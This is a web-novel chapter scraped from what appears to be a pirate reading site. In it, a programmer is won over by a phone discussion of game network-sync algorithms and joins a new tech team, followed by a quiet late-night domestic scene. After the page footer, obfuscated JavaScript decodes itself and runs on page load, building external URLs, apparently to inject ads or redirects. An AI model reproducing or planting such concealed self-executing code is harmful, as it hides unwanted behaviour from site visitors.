首页
第2144章 说服“怪才”李
返回
关灯 护眼:关 字号:小

第2144章 说服“怪才”李轩2

章节报错(免登陆)

一秒记住【笔趣阁】
biquge543.com,更新快,无弹窗!

    第2144章说服“怪才”李轩2(第1/2页)
    梁永琪的表情很平静,手臂伸着,保持着递东西的姿势,没有催促,手很稳,手指捏着手机边缘的力道均匀,没有发抖。
    李轩伸手接过了手机。
    他的手指碰到手机壳的时候有一点犹豫,但碰到之后就拿过去了,贴到耳边。
    他没说话。
    电话那头传来一个男声,不高,平,像坐在那里慢慢喝茶的时候随口说出来的话。
    “你看到第三页了?”
    李轩的喉结动了一下。
    “看完了。”
    “那你说一下你的判断。”电话那头说,“不谈带宽,不谈硬件,只谈你对我那个状态同步方案的理解,你认为它的核心瓶颈在哪个环节?”
    李轩握着手机的手指收紧了一点。
    他坐直了身体,原本蜷着的腿从坐垫上放下来,两只脚都踩在地上,脚趾在地面上蹭了一下找到平衡。
    他沉默了大概四秒钟,四秒里他盯着桌面上那叠纸的封面看,呼吸变得比刚才慢了一些。
    开口的时候声音比刚才低了一些,也慢了一些,像是每一个字他都先在喉咙里过了一遍。
    “你的方案本质上是把高频的移动操作交给客户端做预测,服务器只在关键状态变更时做权威裁决。
    这个思路不新,但你里面写了一个‘心跳窗口’的容错机制,这个我没见过。
    你的窗口大小是跟网络延迟动态绑定的,用的是客户端实时上报的RTT均值,对吗?”
    “对。”电话那头说,“窗口的上下浮动阈值是RTT均值的一倍半到两倍之间,超出就做强制回滚。”
    “回滚怎么处理玩家的操作感?”李轩追问,语速明显快了,尾音往上走,像一根弦被人往上拨了一下,“你回滚一帧两帧玩家体感不明显,但如果网络抖动超过五百毫秒,回滚幅度超过五帧,玩家的操作反馈会断掉,那种卡顿感在屏幕上非常清晰。
    玩家按了一个键,画面没有反应,半秒之后又突然跳回按键之前的位置,这种体验是最伤用户的。”
    “所以我写了两个方案。”电话那头说,“第一方案是心跳窗口内做插值补偿,第二方案是超出窗口直接冻结客户端输入直到服务器确认。
    你更倾向于哪个?”
    李轩的呼吸停了一下。
    他握着手机,身体微微前倾,手肘撑在膝盖上,整个人的重心往前压了过去,背从椅背上抬起来,腰挺直了。
    “第二个更干净,但玩家体验更差。
    第一个工程难度大,但做成了上层根本感知不到网络延迟。”
    “我也倾向第一个。”电话那头说,“所以你要帮我解决一个问题,就是插值算法在运动轨迹预测上的精度。
    我写了一个初步的公式,在第六页,你翻一下。”
    李轩下意识地伸手去拿桌面上的那叠纸,翻到第六页,目光落在页底那一行手写的公式上。
    那个公式写得不太规整,有涂改的痕迹,某几个符号被划掉重写过,又在旁边加了注释,箭头指向公式的第三项。
    但数学逻辑是完整的,从第一项到第四项的推导关系每一步都标出来了,用的符号简练,没有多余的花哨。
    他盯着那行公式看了很久,嘴唇动了动,像在默算。
    他的目光从公式的开头移到结尾,又从结尾移回开头,把每一步的推演在心里过了一遍。
    他算的时候右手拇指无意识地在手机边缘来回搓,指腹搓着手机的电源键,搓一下停一下。
    然后他把手机换到另一只耳朵边上,说了一句:“你这个公式的第二项在低帧率场景下会发散。
    当帧率掉到二十以下的时候,第二项的分母太小,整个式子会往无穷大跑,预测值就飞出去了。”
    电话那头沉默了两秒钟。
    “你算一下,把第二项的帧率倒数改成帧率的平方倒数,会不会收敛?”
    李轩的拇指在桌面空白的纸面上划了一下,像是在空气中验算。
    他的眼神变了,从那种带着刺的、警觉的光,慢慢变成了一种更专注的、向内收的凝视,瞳孔缩了一下,额头上浮起两道竖纹。
    他嘴里低声重复了一遍“平方倒数”,然后说了一句:“会收敛。
    但计算量大了三倍。”
    “硬件在迭代。
    你担心的计算量,两年后就不存在了。”电话那头说,“你真正要担心的是收敛速度能否控制在三帧以内。
    三帧以上玩家能感知到,三帧以下感知不到。”
    李轩闭上眼。
    他的手指在桌面上敲了几下,像是在读秒。
    他敲得很规律,一秒一下,敲到第三下的时候停了一下,然后又补了两下。
    三秒之后他睁开眼,对着手机说:“两帧。
    我能做到两帧以内。”
    电话那头停顿了一秒。
    然后那个声音说:“那就够了。”
    李轩握着手机的手垂了下来,放在膝盖上。
    他没有立刻挂断,手机屏幕上的通话计时还在跳,秒数从两位数跳到三位数。
    他看着桌面那叠纸,看着第六页那个被涂改过的公式,看了很久。
    梁永琪站在旁边没有说话,她注意到李轩的呼吸变深了,胸口起伏的幅度比刚才大了,他原来那种弓着背的、警觉的姿势松了下来,肩膀往下沉了一点,脖子也伸直了一些。
    他的嘴唇微微张着,像是还有什么话要说的样子,但没说出来,只是张了一下又合上了。
    他把手机从耳边拿开,但没有还给梁永琪。
    他低头看着手机屏幕上那个通话界面,看着“浩哥”两个字,两个宋体字在屏幕中央安安静静地搁着。
    然后他开口,声音跟之前完全不一样了,没有那么冲,也没有那么冷,像是被什么东西从里头撬开了一个口子,声线里有一点说不清道不明的东西,不是软,就是变宽了。
    “我要见见你背后这位‘浩哥’。”
    梁永琪伸手,从他手里把手机接过去,放在耳边。
    “浩哥,他同意了。”她对着手机说了一句,然后挂断,把手机收回外套口袋。
    她低头看着李轩,嘴角那个笑是平和的,不带任何胜利的姿态,只是单纯地、从容地弯着。
    她的目光落在他的脸上,看到了他眼里的红血丝和下巴上那层胡茬,也看到了他握着纸页的手指在微微地收紧。
    “他会给你实现所有技术狂想的平台。”她说。
    李轩把桌面上的技术构想书收拢起来,按顺序理好,第一页压第二页,第二页压第三页,四边对齐了,用手掌在封面上面压了一下,把卷起来的纸角按平。
    然后他站起身,把那叠纸递还给她。
    “这个能不能留我这儿多几天?”
    “不用还。”梁永琪说,“本来就是带给你的。”
    李轩把那叠纸攥在手里,纸缘被他捏出了折痕。
    他张了张嘴,像是想说什么客套话,嘴张开了又合上,喉结上下滚了一回。
    但最后他只是点了一下头,点得很重,像那种说了太多话之后嗓子用不上力的人用点头来代替回答。
    他又坐回那张转椅里,坐下去的时候椅子发出吱的一声,弹簧被体重压下去了一截。
    他转向屏幕,手指搭上键盘,但没有敲。
    他停了很久,屏幕上绿色的光标在空白行那里一闪一闪的。
    然后他侧过头,朝着梁永琪的方向说了一句:“门帮我带一下。”
    梁永琪退出实验室,把门轻轻合上。
    铁皮门在合拢前最后一道缝隙里,她看到李轩的身体往屏幕倾过去,两只手重新放在键盘上,敲了起来。
    这一次他的节奏比之前快,比之前重,键帽被砸下去的声音在安静的走廊里沿着门缝传出来,密密的,像雨点打在铁皮屋顶上。
    她站在门口多停了两秒钟,把那串键盘声听进耳朵里,然后转身往走廊另一头走。
    鞋底踩在水泥地上沙沙响,走廊两侧的墙上刷着白漆,漆面已经泛黄了,有些地方鼓起了气泡,被谁用手指按破过,留下一个个凹下去的圆坑。
    走廊尽头有一扇小窗,窗玻璃上蒙着灰,透进来的光线是浑浊的。
    她走出那栋楼的时候,天已经暗下来了。
    当天夜里,梁永琪的车开进陈园的时候已经快十一点了。
    她没有先去自己的那栋别墅,而是拎着一只不大的纸袋,直接上了陈浩书房所在的二楼。
    纸袋是那种装文件用的牛皮纸袋,比白天带去实验室的那只大一号,里面空空荡荡的,只剩几张用过的便签纸和一支笔,拎在手里轻飘飘的。
    楼梯上她的脚步比平时慢一些,没那么急,像是耗了一天的力气在脚底下微微发酸。
    她上楼的时候扶着扶手,手在木质的扶手上滑过去,掌心的温度在凉透的木头上留下一个浅浅的印子,过一会儿就散了。
    她推开门,陈浩从书桌后面站起来。
    (本章未完,请点击下一页继续阅读)第2144章说服“怪才”李轩2(第2/2页)
    他身上穿着一件深灰色的薄毛衣,袖口挽到小臂,露出线条清楚的前臂。
    手里拿着一个打火机,银色的金属外壳,拇指按在打火轮的边缘。
    桌面上放着一只很小的陶瓷碟子,碟子里有一枚米白色的锥形香,还没有点燃,锥尖朝上立在碟子中央。
    梁永琪走过去,把纸袋放在茶几上,然后整个人在沙发里坐下来,后背完全靠进靠垫里,脖子仰着,头搁在沙发靠背顶上,闭了一下眼。
    她的眼皮合上之后睫毛在灯光下投出一排极细的阴影,嘴角那一丝笑已经收起来了,整张脸放松下来之后显出一点疲倦的痕迹,眉心那一道淡淡的竖纹还留着。
    “怎么样?”陈浩问。
    他走到茶几旁边,拿起那只打火机,啪地一声打出火苗,凑到香锥的尖端。
    火苗舔了一下香头,一股极细的白烟从尖上直立着升起来,在半空中散开,变成一道若有若无的线。
    气味是淡的,像是木料和草本的混合,不浓,贴着空气的底层慢慢铺开,往桌面上漫过去,又往沙发的方向散过来。
    梁永琪睁开眼,侧头看着他。
    “浩哥,你那一通电话,比我的百万年薪还管用。”
    陈浩把打火机放到茶几角落,在她旁边的位置坐下来。
    他坐下来的时候沙发垫往下沉了一点,梁永琪的身体跟着微微偏了一下,肩膀朝他的方向倾斜了一个很小的角度。
    “他其实不需要年薪。”
    “他需要有人跟他聊技术。”梁永琪接上他的话,声音里带着一点疲惫之后的轻软,“我站了十分钟他都没正眼看我一下,你那个电话一打,后面他整个人都变了一个状态。
    你跟他说的那些算法公式,是他饿了三年的东西。”
    陈浩没接话。
    他侧过身,把沙发旁边那扇落地窗推开了一半。
    窗框推出去的时候带着一点涩滞,像是很久没有打开过,轨道里落了灰,推了一半就卡住了。
    他停了一下,又用力推了一把,才把那半扇窗彻底推到位置上。
    夜风从外面流进来,很轻,带着园子里草木的气息,和香薰的烟气搅在一起,在两个人之间缓慢地绕了一圈。
    梁永琪转过头,看着窗外那片安静的黑。
    她的身体还陷在沙发里,但头侧过来了,后脑勺靠着靠背,眼睛看着外面。
    “他在实验室里待了三年,那扇窗帘从来没有拉开过。
    我今天进去的时候,窗帘是拉死的,一点缝都没有,灰布把窗户整个盖住了,连窗框在哪都看不出。
    他那个屋子里的空气是闷的,闷得人站久了会犯困。”
    陈浩没有说话,只是伸手,把桌面上那只盛香的小碟子往她的方向推了推。
    碟子在茶几的木质表面上滑了一段,发出极细的摩擦声。
    白烟更近了,她的鼻翼微微翕动了一下,吸进那股味道,肩膀往外松了一点。
    梁永琪把两只鞋从脚上蹬掉,腿收起来,侧过身,把下巴搁在沙发靠背的顶端,整个人蜷成一个不大的团。
    她的脚趾在沙发的坐垫上蜷了一下又松开,袜子是浅灰色的,脚跟上磨出一点毛球。
    她看着窗外,声音低了下去。
    “我们今天谈到那个同步架构的时候,他整个人从椅子里弹起来了。
    就是那种,本来窝在椅子里的,一听到你说那个心跳窗口的容错机制,整个人就坐直了,腰板挺得笔直的。
    我从没见过一个程序员聊算法聊到那个状态,眼睛里有光。
    那种光不是兴奋,是专注,就像猎人闻到了猎物的味道,全身的毛孔都打开了。”
    陈浩也往后靠进沙发里,侧着头看她。
    “那你呢?”
    “我什么?”
    “你累了一天,现在状态怎么样?”陈浩的声音很平,像在问一个很平常的事情,但他的视线落在她的侧脸上,在她眼角那道因为疲惫而加深的细纹上停了一下,然后移开,落在她蜷在沙发上的膝头。
    梁永琪把下巴从靠背上抬起来,转过头看他。
    她的眼睛里有一点红血丝,但瞳孔还是亮的,亮得像那种熬了夜之后反而格外清醒的眼神。
    她笑了一下,那个笑不大,像在水面点了一下就收了。
    “我状态还行。
    看到他愿意进团队,我回来这一路都在想技术部组建的事,第一批人怎么搭,项目怎么拆阶段,脑子里冒了十几个问题出来。
    到园子门口才想起来还没吃晚饭。”
    陈浩站起来,没说别的,走到书桌那边拿起桌角的座机话筒,按了两个键。
    他对那头说了句“送碗面上来,热汤的”,然后把话筒放回去。
    他放话筒的时候指节在座机的外壳上磕了一下,发出一声轻响。
    他走回来的时候,梁永琪已经从蜷着的姿势展开了,两条腿伸直,脚踝交叠,搁在茶几边缘。
    她看着他坐下来,看着他重新靠进沙发里,然后她伸出右手,手指搭在他的手腕上,掌心贴着他腕骨内侧那小块皮肤。
    她的手比他的凉一些,指尖的温度透过那层薄薄的毛衣袖口传过去。
    她的拇指轻轻压在他腕骨上,感觉到那里的脉搏一下一下地跳,很稳。
    “浩哥,”她说,声音比刚才更轻,“你说李轩明天会不会改主意?”
    “不会。”陈浩说,“他今天回去之后会把第六页那个公式重算一遍,算到凌晨三四点,算完他会发现那个框架底下还有很多东西能挖。
    他睡不着,明天天一亮就会给你打电话。
    他那个状态我太熟了,脑子里有一个新东西在转的时候,人是睡不着的,躺在床上翻来覆去也是在脑子里推演,不如起来坐着把东西算透。”
    梁永琪没说话。
    她把手从他腕上收回来,两只手拢在一起,扣在膝盖上,看着窗外那片安静的夜色。
    香薰的白烟还在上升,细得像一根绷直的丝线,升到灯光照不到的暗处就散了。
    风从半开的窗子里灌进来,烟被吹散了一瞬,又重新聚起来,从锥尖往上钻。
    陈园外面的虫鸣透过那扇推开一半的窗子传进来,时断时续。
    虫鸣在远处,在草丛和树根之间,一声接一声地响着,偶尔停几秒,又接上。
    没有月亮,路灯的光被树叶割成碎片,落在窗台上,又被风吹散了。
    梁永琪把脸转回来,目光重新落到茶几上那碟香上。
    她的身体已经完全松弛下来了,瘫在沙发靠垫里,脊椎一节一节地往下沉,整个人比刚进门时矮了半个头。
    她的眼皮往下搭了一点,但没有闭上,就那么半睁着,看着白烟在灯光里拧成一个又一个弯。
    她想起来白天在实验室里的一个细节。
    李轩伸手接过她手机的时候,指腹上有几个深色的斑块,像是机油渗进皮肤之后洗不掉留下的印子。
    那个细节在她脑子里一闪就过去了,没有特别的含义,但就是留在那了,像一张没对好焦的照片钉在记忆的墙上。
    陈浩在旁边坐着,没有说话。
    他把手搁在沙发扶手上面,掌心朝上,手指微微弯着。
    梁永琪的目光从香碟移到他手上,在他的掌纹上停了一下。
    然后她把头靠过去,额头抵着他的上臂外侧,隔着薄毛衣的布料感受到他胳膊的温度。
    “明天开始要把招聘提上日程了。”她说,声音闷闷的,额头贴着他的手臂,字句像从布料里头传过来,
    “后端至少要三个高级工程师,客户端两个,运维两个,美术那边浩哥你心里有数,我不太懂那一块。”
    “嗯。”陈浩应了一声,声音从胸腔里传出来,通过手臂的骨骼传到她的额头上。
    “还有,”她又说,“李轩那个实验室环境太差了,得给他换个地方。
    他自己可能不觉得有什么,但长期在那样的地方窝着,人的状态会往下掉。
    你书房隔壁那间屋子不是空着吗,墙刷一下,窗帘换透光的,放两张桌子就够了。”
    陈浩没应声,但他搁在扶手上的那只手翻了一下,掌心朝下,轻轻搭在她的发顶上。
    他的手指插进她的头发里,很轻地按了一下头皮。
    梁永琪的呼吸变深了,胸口起伏的幅度变大了,眼睛彻底闭上了。
    窗外的虫鸣还在响,夜风一阵一阵地灌进来,把香薰的烟气吹得七零八落。
    没有月亮,路灯的光在树影里碎成一地。
    她靠着他的手臂,慢慢地睡着了,呼吸从深变浅,又变均匀,肩膀不再时不时地抽动一下。
    陈浩没有动,就那么坐着,一只手搭在她的头上,另一只手垂在沙发边缘,指间夹着一根没有点燃的烟,转了两圈,又放回了茶几上。
    【跪求礼物,免费的为爱发电也行!】
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF 